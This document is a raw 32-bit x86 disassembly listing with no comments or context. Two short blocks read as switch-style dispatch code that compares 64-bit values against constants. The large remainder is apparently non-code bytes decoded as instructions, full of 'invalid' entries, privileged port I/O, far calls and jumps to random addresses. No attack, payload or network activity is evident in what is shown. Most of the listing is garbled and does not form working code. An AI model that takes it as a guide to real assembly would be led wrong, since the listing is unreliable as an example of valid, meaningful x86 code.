mov edx, 0x21c2a
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x216a7
or eax, dword [ebp - 0xdc]
je 0x6e40d737
mov edx, 0x216a7
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x1493b
or eax, dword [ebp - 0xdc]
je 0x6e410627
mov edx, 0x1493b
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xf397
or eax, dword [ebp - 0xdc]
je 0x6e41aa6f
mov edx, 0xf397
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x53c3
or eax, dword [ebp - 0xdc]
je 0x6e424eb7
mov eax, dword [ebp - 0xe0]
xor eax, 0xa751
or eax, dword [ebp - 0xdc]
je 0x6e4061df
jmp 0x6e427da7
lcall 0x64ca, 0x407b2de0
movhps qword [ebp - 0x7db4239], xmm5
fnsave dword [ecx + 0x3b]
sub al, 0x10
pop ss
fmul dword [edi]
cmp edi, dword [ebx + 0x5d8e0067]
adc byte [0x21fdef62], bl
iretd
out dx, al
pop edx
cmpsd dword [esi], dword es:[edi]
mov fs, word [ebp - 0x445bc47b]
add dword [ecx + 3], esi
mov dl, 0x46
mov dl, 0xe6
outsd dx, dword [esi]
mov al, 0xcc
push ecx
or ah, byte [ecx + 0x74]
xchg ebx, eax
ret
dec esp
jecxz 0x6e406230
das
out 0x4d, al
mov edi, 0xf28fe90d
adc eax, 0xca12fef
nop
int3
mov byte [0xe19591ae], al
js 0x6e406215
push edx
mov ebx, 0xb9312028
pop ebx
adc edx, esp
aaa
adc byte [eax + ebx*4 + 0x6d8a0f2d], bl
scasd eax, dword es:[edi]
popfd
jbe 0x6e406241
xor byte [ebp - 0x5c81234b], dl
cmp dh, byte [ecx + 0x78]
sbb ch, al
mov ebx, dword [ebp - 0x536850d2]
and bl, byte [eax]
jne 0x6e40619f
cmovl ecx, dword [ebx]
std
cmp esp, esp
cmpsd dword [esi], dword es:[edi]
in al, 0xa7
ret
dec esi
sub eax, 0xfbf27817
mov ah, 0x59
add al, 0xd6
jnp 0x6e40623d
inc ecx
wait
ret
adc edx, ebx
jnp 0x6e4061c7
invalid
add eax, 0x19af0aed
mov byte [0xa1b3003f], al
adc esp, edx
dec eax
bound esp, qword [edx]
sub ebx, edi
push ebx
sbb dword [ebx - 0x37], esp
mov bh, 0x9f
popal
daa
add al, 0x92
in al, dx
into
push ss
sar dword [ecx - 0x19241d8a], 1
mov eax, 0xe3e3cdd4
iretd
mov ebp, fs
int 0xca
mov al, byte [0xa26f4571]
adc al, 0x63
xchg byte [esi - 0x6b4217d4], dh
push 0xc3667cd0
ror cl, 0x27
push ds
and cl, byte [ebx]
mov ss, word [esi + edx*2 - 0x5dfce19b]
mov ebx, 0x2007eeed
cmp eax, 0x7486005
jno 0x6e40909b
outsd dx, dword [esi]
mov byte [0xb6866314], al
sub al, 0xe8
mov ebp, 0x7cd06894
ret
das
int3
inc eax
aad 0x14
pop edi
or byte [esi - 0x44], bl
and dword cs:[edx + 0x4d], 0xfffffffc
jb 0x6e40904e
rcr dword [esi + 0x5a], 1
add bh, byte [ebp - 0x1dc9aba1]
sbb dword [esi - 0x235c57d8], eax
std
mov ebp, 0x6721ca05
dec ecx
mov edx, 0xfc18c561
lodsd eax, dword [esi]
mov ecx, 0xe9cc9051
fldlg2
add dword [eax], eax
jg 0x6e409054
lahf
stosd dword es:[edi], eax
sub dword [edx + ebx*4 - 0x6c], ebx
jle 0x6e40907c
not dword [ebx]
mov dl, 0x3f
push 0x646a9863
push esi
imul ebp, dword [edi - 0x2f], 0x77
das
and dword [edi], ebp
or dword [edx + 0x50], edi
and esp, edi
cwde
fcom dword [ecx + 0x74f0c223]
mov al, 0x90
xchg edi, eax
sub dword [ecx - 8], esp
stosd dword es:[edi], eax
sub eax, 0xcf7fbee1
push es
hlt
xlatb
or edx, esp
nop
int3
dec edi
inc esp
cmp al, byte [edi - 0x1fec2ec8]
dec eax
arpl word [ecx + 0x69], bx
loope 0x6e40a76e
iretd
xchg ebx, eax
mov byte [ecx + 0x1d2e3daf], bl
mov ebp, 0x955228cf
dec esp
jp 0x6e40a87c
invalid
push ecx
cmp bh, byte [ebx - 0x2c]
inc esp
test byte [eax], bh
cmp esi, edx
loope 0x6e40a7d9
nop
int3
push eax
xor al, 0x10
int1
adc dword [edx], edi
xor dword [eax + 0x2c], ebp
dec esp
jle 0x6e40a835
arpl word [edx], di
pop ecx
std
adc byte [0x8fb98c52], al
les edi, [eax + 0x1d9d8ff2]
popfd
xor ecx, dword [ebp + 0x22]
jbe 0x6e40a814
je 0x6e40a889
leave
xchg edx, eax
dec esp
or byte fs:[edi - 0x7846f277], cl
cmp eax, 0x276eeb1f
daa
daa
mov dword [0x48d27f7e], eax
out 0x2c, al
or al, 0xa5
sbb dword [edi + 0x54], ecx
sahf
out 0x93, eax
and eax, 0x3d54115b
stosb byte es:[edi], al
test byte [edx], ah
pop es
or esp, dword [0x4fe21ed0]
invalid
lahf
std
invalid
dec esi
xlatb
cmp ebp, edi
leave
invalid
iretd
iretd
mov dword [edi - 0x6f46a4e1], edx
int3
or al, 0x42
jg 0x6e411d93
push ecx
jmp 0xea27c4
outsb dx, byte [esi]
jo 0x6e41356f
mov ebp, 0x212f4b78
pop eax
pop ss
sub ch, byte [ebx - 0x30]
daa
leave
movsd dword es:[edi], dword [esi]
sbb al, 0xcd
pop ebx
jmp 0xb805511d
dec ebp
out dx, al
pushfd
shl esp, 0x5e
mov ch, 0x63
cmpsb byte [esi], byte es:[edi]
retf
pop ds
imul edi, dword [edi + ebx - 0x59d8c65b], 0xd4246ad1
in eax, 0x2b
mov bh, 0x1f
xchg ebp, eax
invalid
sub ecx, dword [ebx + 0x6d48a498]
mov al, byte [edi + 0x3c]
mov esp, 0x556e7a31
xchg ecx, eax
ret
std
inc eax
or byte [ebx], ch
invalid
adc al, 0xd4
inc esp
dec edi
sbb eax, 0x97a2c737
jb 0x6e419347
push edi
mov esp, ecx
push edi
sub byte [esi], ah
lds edi, [edi]
inc eax
and cl, byte [ecx + 0x7006747a]
in eax, 0xb0
movsd dword es:[edi], dword [esi]
je 0x6e4192e9
jo 0x6e4192ca
mov al, 0xa5
mov ah, 0xec
invalid
sub ah, byte [ecx]
loope 0x6e4192e1
mov bh, 0x5b
dec esi
ljmp 0x4dc5
jle 0x6e419385
dec eax
movsd dword es:[edi], dword [esi]
loope 0x6e419356
pop edi
sub dl, ch
pushal
mul byte [edx + 0x62]
insb byte es:[edi], dx
stc
les edx, [eax + ecx*2 - 0x23049f4f]
sub edx, dword [ecx]
push eax
out 0xc4, al
movsd dword es:[edi], dword [esi]
jecxz 0x6e4193ae
pushal
add byte [edx + 0x74], ah
dec ecx
imul esi, dword [esp + eax], 0xffffffef
cmc
test dword [ecx], edx
adc ebp, dword es:[edi - 0x7f94f855]
push 0xd5e69641
lcall 0x72b2, 0x828ab7fc
xchg esi, eax
mov ebx, 0x68d6bc8e
daa
mov ebx, 0x410e7845
mov ch, byte [ebx + ebx*2 - 0x22a0c38b]
and bh, byte [edx - 0x34360ce3]
sbb al, 0xa3
pushal
xchg edi, eax
and byte [ebx], cl
jge 0x6e4193a7
cld
hlt
enter 0xffffffffffffeb75, 0x39
rcl dword [esi], cl
xor al, dh
pop edx
push ss
sbb ch, byte [ecx]
cmp esp, 0xdf8981c
jecxz 0x6e41937e
jg 0x6e4193cb
nop
int3
iretd
push ebp
mov dword [0x9bb7a3c8], eax
mov edx, 0xb0cc3395
dec eax
outsd dx, dword [esi]
in eax, 0x25
clc
push esi
in al, 0xd
adc al, 2
nop
int3
add dh, cl
fstp dword [eax + 0x7af85c09]
or al, 0x48
adc byte [edi], al
xchg ebp, eax
jns 0x6e41aaf0
cmp al, 0x7c
mov esp, 0xc88f29c4
dec edi
sbb dword [edi + 0x5f], esp
cld
and edi, eax
fild qword [edi + 0x39890b33]
fisub word [ebp - 0x6e198cbb]
xchg ecx, eax
push ecx
pop eax
mov ecx, dword [esi]
xchg edx, eax
pop ecx
mov esp, 0x5d843e16
mov ch, 0x6c
jno 0x6e41aa53
push ss
les ebx, [ebp - 0xc6b1e85]
fdivrp st(6)
mov ch, byte [edi]
add edi, dword [ecx]
js 0x6e41aa97
retf
movsb byte es:[edi], byte [esi]
rol byte [esi + 0x3c2602da], 0x29
sub byte [ebx - 0x4f], 0xc1
pop ds
add dh, byte [eax + ecx*8 + 0x64eeb0c8]
cmp al, 0x26
stosd dword es:[edi], eax
aam 0x76
sbb al, 0xad
and ch, byte [edx + 0xd]
std
mov ebx, dword [esi + 0x25]
xor dl, cl
mov ebp, 0xe4f58a27
dec ecx
outsb dx, byte [esi]
sbb dl, ah
mov edi, 0x73df1d0
out 0x73, al
test eax, 0xafecf5f3
jns 0x6e41ab73
sub eax, dword [ecx + edx*2 - 0x6f]
adc dword [edi], edx
mov bh, 0x63
aad 8
inc eax
enter 0x4e27, 0xffffffffffffff85
arpl word [ecx - 0x70], ax
int3
jmp 0x32563b53
stc
jmp 0x9e903a1a
movsd dword es:[edi], dword [esi]
lock xchg byte [ecx - 0x135b7812], bl
imul eax, dword [ecx - 0x3d], 0xffffffb9
out dx, eax
pop ss
retf 0x1713
mov esp, cs
sub al, byte [eax + esi*4 - 0x73]
inc esp
mov al, 0x8d
sbb eax, 0x2eea6261
xor al, byte [ebp + 0x420580d9]
enter 0x3d13, 0xffffffffffffff9a
loopne 0x6e41f096
xchg ecx, eax
loopne 0x6e41f106
invalid
lea esi, [esi - 0x32]
pushfd
push ss
enter 0x75dd, 0xffffffffffffffdd
das
inc edi
insb byte es:[edi], dx
clc
pop esp
and al, 0xdd
test eax, 0xb32fd70e
xchg esp, eax
lahf
inc ebx
lea ebx, [edx - 0x7357a202]
inc edx
jne 0x6e41f147
add esi, dword [ecx + ebx*4]
xchg edx, eax
clc
popfd
jb 0x6e41f14e
insb byte es:[edi], dx
scasd eax, dword es:[edi]
xor dword [eax - 0x49], eax
js 0x6e41f099
call 0x48d31b2b
cmp dword [esi], 0x73
mov al, 0x81
cli
push ds
out dx, al
invalid
cmp cl, byte [eax - 0x19]
mov esp, 0x27d91a01
daa
call 0xcdac35ef
inc edx
test dword [eax - 0x5b], ebp
into
or ch, cl
rol dword [edx + 0x78063e0d], 6
invalid
fisub word [ebx - 0x1c]
sar dword [esi - 0x9e6c525], cl
xchg esp, eax
cmpsb byte [esi], byte es:[edi]
scasb al, byte es:[edi]
cmc
mov dword [0xb58d6006], eax
jecxz 0x6e4207c6
mov ch, 0xe3
in al, dx
inc edx
xlatb
fadd st(6), st(0)
in al, dx
xchg ecx, eax
pop ebp
insd dword es:[edi], dx
push esi
scasd eax, dword es:[edi]
cmc
mov al, byte [0x6b4a369f]
fsub dword [eax]
aaa
daa
imul ebx, ebp, 0x45
sub esp, edi
xchg ecx, eax
das
shl dword [edx - 0x4056558d], 1
imul esi, dword [ecx + 0xd], 0xffffffb3
inc esp
out 0x2f, al
enter 0x250, 0x66
mov bl, bh
shr byte [edx], 0x43
and dword [edi + 0x40], edi
push ebx
sub eax, 0xb61bc71e
leave
aaa
das
inc ebp
ja 0x6e4207c9
adc dword [0xda85af75], ebx
mov al, byte [0x24d71561]
test byte ds:[esi], cl
add ebp, esi
pop ss
inc ebp
call 0xf4884c9e
and eax, 0xe4e34f82
std
sbb dl, byte [ecx - 0x27]
pushal
cld
mov ebx, 0x42e0bbde
leave
mov ecx, 0xdc65d886
mov cl, 0x90
int3
ficom dword [edi]
jl 0x6e4207d7
xchg edx, eax
in al, 0x48
inc ebp
cmp byte [edx + 0x18], 3
mov edx, 0xe2e0508c
test dword [eax], 0x36405156
add ebp, esp
mov ch, 0x6a
push 0x51
invalid
adc al, 1
adc edi, dword [edi - 0x77a04418]
mov dword [0x89f6b0a6], eax
sbb dword [ebp - 0x5c], edi
and bl, byte [eax + 0x5d921da9]
xchg edi, eax
mov bl, 9
add eax, 0x97834619
xchg esi, eax
lds ecx, [eax + 0x72]
jne 0x6e42201c
sbb byte [esp + edi*4], cl
sub dword [edx + 3], ebp
pop edi
mov ch, 0x10
invalid
fisttp word [ebx + 0x54b60f0e]
test byte [ebx - 0x39], dh
jp 0x6e422050
or byte [eax + 0x33628339], dl
add dword [edi + 0x22611c5b], ebp
mov al, byte [0x4dc87043]
das
out 0x5f, eax
div byte [0x8a48015c]
jecxz 0x6e422040
mov ah, bl
std
lds ebx, [eax + 0x2450c534]
push ebp
xor al, 0xc5
push eax
and al, 0x55
test edx, edi
ucomiss xmm5, xmm3
sub ebp, dword [ebx + 0x5ef1781f]
stosd dword es:[edi], eax
pop ds
js 0x6e422045
pop esi
jbe 0x6e4220a0
adc dword [ecx - 0x65], edi
mov dl, ch
xor al, 0xd2
test dword [eax + 0x63], ebp
jp 0x6e4220a3
push ecx
or esi, dword [ecx + 0x4b]
pop ebx
mov ch, 0x32
mov ah, 0x59
mov edi, 0xe0a65738
mov dword [0x1fa8cf29], eax
mov ebx, 0x54edd0ad
lds esp, [ebp - 0x53da5d6]
push ecx
outsd dx, dword [esi]
add esi, dword [ebx]
push es
pop ecx
shl byte [ecx - 0x2a], 4
lea ecx, [ecx - 0x21]
ljmp 0x207a
sti
lea esi, [esi]
sar esi, cl
and al, 0x9c
inc esp
stosb byte es:[edi], al
fistp dword [edi]
and byte [edi - 0x40], dh
inc ecx
in eax, 0xee
jecxz 0x6e422130
jae 0x6e42208e
mov edx, edx
pop esp
sub eax, 0x8052bf09
hlt
push es
dec esp
mov bl, 0x8d
add eax, 0x849ee8ea
fsubrp st(5)
rol dword [eax + 0x27c920bb], 1
push 0xd1f0b35b
fld xword [edi]
bnd jp 0x6e422198
lahf
in al, 0x72
fbstp tbyte [ecx + 0x28057a7f]
insb byte es:[edi], dx
ljmp 0xc5e6
sub byte [edx + ebp*8 + 0xb], ch
invalid
lcall 0xe80e, 0x7061f286
nop
int3
popfd
sub al, 0xb5
in al, dx
jbe 0x6e4221ef
dec ebx
xor ebx, edx
and eax, 0x7f333cab
inc ebx
stosd dword es:[edi], eax
add byte [edi + 0x5a], bh
pop edx
and dl, byte [edx - 0xc]
pop ebx
jecxz 0x6e422153
out 0x3d, al
movsd dword es:[edi], dword [esi]
mov bh, 0x59
lahf
les esi, [edi + ebx*8]
fcom dword [0xfffff6f1]
pop ecx
popal
test al, 0xf9
js 0x6e4221e0
sub eax, 0x7f338318
xor dword [eax], 0x51
mov esp, 0xdae62a5
psubd mm0, qword [0xdb991e5c]
pushfd
add byte [esi + 0x55078c15], dl
jge 0x6e42215c
int3
and bl, al
inc eax
sub eax, 0xc5231929
in eax, 0x47
and bh, byte [edx]
jno 0x6e4221e7
invalid
jp 0x6e422186
xchg esi, eax
test al, 0x99
sti
xchg ebx, eax
wait
fadd qword [eax]
daa
mov byte [esi - 0x62], al
mov al, 0xdd
inc esp
push cs
dec ebp
mov ecx, 0xaa1e0a1a
xor eax, 0x69dfb5f2
xchg ecx, eax
cmc
or byte [esi + esi*8 - 0x668731c], 0x45
mov ebp, 0x39086f8e
std
ret 0x31ca
pop eax
lds ecx, [esi]
mov byte [0x21d65b28], al
int1
jns 0x6e4237be
sbb cl, ah
push es
xor dword [edi - 0x13bd075b], edi
stosd dword es:[edi], eax
mov ecx, 0x8f7ce0a8
int3
mov edx, 0x833e4b07
mov al, byte [ecx - 0x4b]
in al, 0x23
lcall 0xe60e, 0xcc8124d
pop eax
pushfd
enter 0x4e5e, 0xffffffffffffffd5
sub dword [ecx - 0x61], edx
push 0x3ab8c934
test eax, 0x3f397729
add esp, esi
ret
jno 0x6e423763
sub eax, 0x3623ca5c
cli
cli
cmpsd dword [esi], dword es:[edi]
inc edi
jg 0x6e4237c4
dec edx
dec eax
mov eax, ebp
inc ebp
jp 0x6e4237eb
inc eax
nop
inc esi
cmp byte [edx], 0x11
arpl word [edi], bp
push esi
lcall 0x4807, 0xcee3dd1a
cmp eax, 0x65754233
or byte [edi + 0x25c921e8], ah
or eax, dword [ecx + 0x58]
and eax, 0x8558410b
add dword [esi - 5], edi
pop eax
test dword [ecx], eax
jle 0x6e4237ee
mov dl, byte [eax]
clc
push edx
mov gs, word [ebx]
arpl word [edi + 0x2b398ded], sp
push edx
pop esi
int 0xc6
or edx, dword [ecx]
push es
rcr dword [ebp + 0x63], 0x2d
dec esi
in eax, 0x90
int3
xor dh, byte [ebx]
push 0xb75e82e0
pop ss
push eax
sub ah, bh
cdq
xor ebp, dword [ebx]
cmp eax, 0xdc1ec3c8
mov dword [edi + 0x77], esi
lea ebx, [esi]
dec esp
xchg ebp, eax
pop ss
lds eax, [edx]
rol dword [ebx - 0x1a], cl
xor eax, 0x3412e904
sub edi, dword [ecx]
pop ebp
or ecx, dword [0x559b2e8c]
jle 0x6e424ef0
sub ebp, ebp
fmul dword [ebp + edi*8 + 0x5edfe500]
pop esi
dec ebp
push cs
inc ebp
lcall 0x3bb2, 0x9edb572f
pop eax
sbb dh, byte [eax - 0x38]
lodsb al, byte [esi]
and edi, dword [edi]
popfd
rcr byte [ebx], cl
int3
fadd qword [ebx]
in eax, 0xa1
and eax, 0x79e9cc90
pop ss
add byte [eax], al
ja 0x6e426623
push eax
mov al, 1
ljmp 0xe314
nop
jmp 0x6e427da8
nop
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xe8], 0x1fa2d
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xf0], 0xa26d4
mov dword [ebp - 0xec], 0
mov ecx, dword [ebp - 0xe8]
mov ebx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xec]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf8]
xor eax, 0xf38e5
or eax, dword [ebp - 0xf4]
je 0x6e4354c9
mov edx, 0xf38e5
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0xeeddd
or eax, dword [ebp - 0xf4]
je 0x6e43b2a9
mov edx, 0xeeddd
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0xe447f
or eax, dword [ebp - 0xf4]
je 0x6e42c7f9
mov edx, 0xe447f
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0xdc862
or eax, dword [ebp - 0xf4]
je 0x6e42b081
mov edx, 0xdc862
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0xc2101
or eax, dword [ebp - 0xf4]
je 0x6e442801
mov edx, 0xc2101
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0xbd34d
or eax, dword [ebp - 0xf4]
je 0x6e439b31
mov edx, 0xbd34d
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x99808
or eax, dword [ebp - 0xf4]
je 0x6e436c41
mov edx, 0x99808
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x7dc19
or eax, dword [ebp - 0xf4]
je 0x6e43ca21
mov edx, 0x7dc19
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x7c206
or eax, dword [ebp - 0xf4]
je 0x6e441089
mov edx, 0x7c206
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x76f08
or eax, dword [ebp - 0xf4]
je 0x6e4325d9
mov edx, 0x76f08
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x620c1
or eax, dword [ebp - 0xf4]
je 0x6e433d51
mov edx, 0x620c1
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x57e3c
or eax, dword [ebp - 0xf4]
je 0x6e4383b9
mov edx, 0x57e3c
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x558bf
or eax, dword [ebp - 0xf4]
je 0x6e42df71
mov edx, 0x558bf
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x4a92d
or eax, dword [ebp - 0xf4]
je 0x6e430e61
mov edx, 0x4a92d
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x4a06f
or eax, dword [ebp - 0xf4]
je 0x6e429909
mov edx, 0x4a06f
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x1e525
or eax, dword [ebp - 0xf4]
je 0x6e42f6e9
mov edx, 0x1e525
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0x1af41
or eax, dword [ebp - 0xf4]
je 0x6e43e199
mov edx, 0x1af41
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x6e4427fe
mov eax, dword [ebp - 0xf8]
xor eax, 0xdafe
or eax, dword [ebp - 0xf4]
je 0x6e428191
mov eax, dword [ebp - 0xf8]
xor eax, 0x1717b
or eax, dword [ebp - 0xf4]
je 0x6e43f911
jmp 0x6e4427fe
invalid
mov al, byte [0xb7dda62f]
push eax
clc
scasb al, byte es:[edi]
or al, 0x5d
fidiv dword [edi - 0x4bf73755]
in al, 0x5c
cmp bh, byte [esi + eax*4 - 0x1fe976a5]
arpl word [eax - 0x74], di
mov byte [edx - 0x5412db88], ch
dec edi
cmpsd dword [esi], dword es:[edi]
stosb byte es:[edi], al
sbb al, 0x16
pop ebx
cdq
xchg esp, eax
mov ebx, 0x2152597
pop eax
invalid
fimul word [ebx + 0x20]
movsb byte es:[edi], byte [esi]
cmp edx, dword [edi - 0x2c]
and byte [edi + 0x6a4ce6a9], al
mov byte [0xd8519d6b], al
fmul qword [ebx - 0x31]
mov edx, ebp
xor dword [ebx], ecx
mov dword [edi], ebx
inc edi
je 0x6e42c883
aad 0x6e
aaa
or eax, 0xb0fcbdc5
notrack jmp 0x6e42c827
fdiv qword [ecx - 0x464d3d06]
test byte [0xbaab1f19], bh
test eax, 0xbfc6f0d0
lodsb al, byte [esi]
xchg byte [edx], bh
nop
mov esi, 0x55cf640
sub al, 0x94
fisubr dword [ecx - 0x31]
out 0xd, al
mov bh, 0xe9
movsd dword es:[edi], dword [esi]
cmp byte [ecx + 0x47dcd59], al
push ss
das
mov esi, 0xdf9d1c79
inc eax
dec edx
mov al, 0xd7
push ebp
test byte [edx + ebx*2 + 0xf0356de], dh
invalid
mov cl, 0xfa
ret 0xb9b2
clc
fbld tbyte [ebx + ebp*4]
jb 0x6e42c826
adc eax, dword [ebx + 0x49]
dec ebp
xchg ecx, eax
mov byte [0x88210ea8], al
mov esi, 0x56642da7
jae 0x6e42c900
leave
dec ebp
or al, 0xcc
or cl, bh
retf 0x290a
mov dword [0xd0e9a870], eax
mov eax, 0x3403b818
out 0xb, al
mov eax, 0xbe63403
lea eax, [ebp + 0x41]
jg 0x6e42c907
inc esp
cli
or dh, ch
inc eax
ror byte [eax], 1
adc byte [0xbafc1da9], 0xa8
retf 0x4da5
fnstsw word [eax - 0x30]
sbb bh, bl
movsb byte es:[edi], byte [esi]
in eax, dx
leave
fmulp st(2)
cmp eax, 0xf63cc95
xlatb
jno 0x6e42df78
fldcw word [ebp + 0x45455af9]
stosb byte es:[edi], al
push eax
dec ecx
push 0x3d2ea6de
jl 0x6e42df94
ret 0x3b52
push edx
cmp edx, ecx
sets byte [eax - 0x439668d5]
inc eax
shl byte [ebx + 0x1e835d40], 1
cmp al, 0x72
mov ecx, 0x9f7ff96f
push 0x1e2f3248
aam 0x27
or dh, ch
lahf
jmp 0x6e42e012
push ebx
mov al, byte [0xf12da523]
rcl byte [0x3509251], 0x96
sbb edi, ebx
out 0x7e, eax
aas
lahf
out 0xf1, eax
mov esp, 0x49c70bf2
jbe 0x6e42e021
or esi, ebx
dec eax
cmp byte [ebp - 0x32], cl
pop edi
test byte [0x1b0bc268], dh
lahf
push 0xffffffffffffffdb
nop
int3
pop ebx
retf
sal edx, 8
xor dh, byte [ebx - 0x52fe8ae2]
add esp, eax
in eax, 0xde
aad 0x8b
cmp eax, 0x7c50f3c2
and byte [edi], cl
outsd dx, dword [esi]
hlt
stc
fist word [esi - 0x48facd32]
retf
jmp 0xbb7e78c1
dec esi
lcall 0x3ed3, 0xefdfda80
sbb dl, 0xdf
out dx, eax
sar dword [esi], cl
mov esi, 0x3a083f
loop 0x6e43548a
retf 0xf87b
push 0x20cf3f28
cmp dword [edx - 0x46], edi
retf
imul ebx, esp, 0x5b96a637
lcall 0x9d81, 0xce9aa21a
wait
sbb ah, bh
outsd dx, dword [esi]
mov esp, 0x7609b680
jecxz 0x6e4354ca
movsd dword es:[edi], dword [esi]
stosd dword es:[edi], eax
out dx, al
js 0x6e435462
and dword [ebx + 0x66028924], esi
pop ecx
push esp
nop
int3
and dword [esp + eax*4 - 0x14446984], ebx
sti
mov ch, 0x7d
pushfd
test byte [esi + edx*4 - 0x45], bh
jmp 0x6e4354cc
jl 0x6e435464
mov ebx, 0x7db5fbeb
xchg edi, eax
fstp xword [ebx + 0x325d4e30]
mov bl, 0x60
add edx, 0x35
and eax, 0xe31927b9
in al, dx
fidiv dword [esi - 0x18]
jnp 0x6e43549c
out dx, al
mov al, byte [0x83c62964]
pop esi
sub esi, dword [ebx]
nop
fsubrp st(6)
or esi, dword [esi]
lcall 0x34e6, 0x1804bda7
add bh, byte [ecx]
inc ebp
cmpsb byte [esi], byte es:[edi]
inc esi
mov bl, 0xa3
mov esp, 0x92bbd861
push es
sbb al, 0x16
inc eax
fdivp st(4)
xchg edx, eax
aad 0xed
pop ecx
ret
and al, 0xe5
xchg byte [eax + 0x27], ah
xadd dword [esi - 0x5eaf4d8a], ebx
iretd
inc esi
jge 0x6e436c9d
dec eax
xchg ebp, eax
sub eax, 0x5d282b93
js 0x6e436c1a
add byte [esi + 0x3469195b], bl
retf 0xd40d
mov esi, 0x68dd3fb9
jecxz 0x6e436cc7
xor al, 0x6f
xchg ebp, eax
scasd eax, dword es:[edi]
out 0xf, eax
mov dh, 0xbc
xchg edx, eax
cmp cl, byte [ebx + 0x55]
push ecx
cmpsb byte [esi], byte es:[edi]
push esp
je 0x6e436cc5
lcall 0x1989, 0xb13f698b
sub eax, 0xa7da4c2d
sub cl, ah
enter 0x2dd9, 0xffffffffffffffd8
sub eax, 0x56b0cdd8
int 0xb0
push esi
jnp 0x6e436ccc
daa
sub dword [ebx + 0x51d8b6f5], ebp
neg dword [ecx]
imul ebx, dword [ebx - 0x72], 0xffffffae
in eax, 0x40
in eax, 0x14
dec esi
push cs
mov esp, 0x2c2edb49
sti
mov eax, dword [0xd65312f6]
or eax, 0xb3de9d05
and ecx, dword [eax + 0x67cddd86]
add eax, 0xb3a5b667
sub byte [ebp + 0x10], dl
and cl, byte [esi - 0x3187175e]
outsb dx, byte [esi]
clc
mov bl, 0xe2
dec ebp
inc ebp
adc eax, ebp
in al, 0xc5
nop
int3
test al, 0xa9
sbb eax, dword [0xdac612d4]
movsd dword es:[edi], dword [esi]
jmp 0x23778c98
xchg esi, eax
outsd dx, dword [esi]
fdiv qword [ebp + 0x3b7e5695]
sar dword [ecx], cl
sub dword [eax - 0x6e3293ea], esi
fld qword [esi + 0x25]
xor byte [esi + 4], bl
fimul word [ebx + 0x4e0f6ef3]
inc esp
sub al, 0x28
and al, byte [ecx + ebp*2 - 0x329762b6]
inc edx
inc esp
sub eax, 0x62e15e0e
and eax, 0x3814f01a
and byte [edx], cl
in eax, 0x7f
pop es
into
std
sar byte [edx + 0x21], cl
jmp 0xab9adadb
inc ebx
lahf
mov eax, dword [0x184cda37]
xchg esp, eax
outsd dx, dword [esi]
dec esp
or al, 0xce
mov ah, 0x5e
or eax, 0x98f7b536
rol byte [edi - 0x6e], 0x94
mov cl, 0x32
dec eax
dec esi
adc dword [ebx], edx
pop eax
invalid
sub byte [esi - 0x5e], 0x4b
and bl, byte [ebx + ebx - 0xd]
mov dword [0xbf027aa3], eax
mov dword [0xbf027aa3], eax
